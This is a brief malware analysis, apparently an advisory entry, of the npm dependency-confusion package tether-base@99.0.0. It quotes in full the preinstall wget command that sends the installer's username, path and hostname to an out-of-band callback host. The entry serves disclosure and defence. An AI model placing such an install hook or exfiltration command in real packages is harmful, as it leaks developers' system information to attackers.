tether-base@99.0.0

Analysis

tether-base@99.0.0 is a dependency-confusion package that contains no functional code — the tarball is a single package.json file. On npm install, the preinstall script runs: wget --quiet "hxxp://cuwihexxxizbqmurenibmncf9zuih6fby[.]oast[.]fun/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)". This exfiltrates the installer's username, current working directory, and hostname to an oast[.]fun C2 endpoint via HTTP GET. The package was published at version 99.0.0 with a throwaway publisher identity and no repository, README, or source code, making it a classic dependency-confusion supply-chain attack that should be treated as malicious.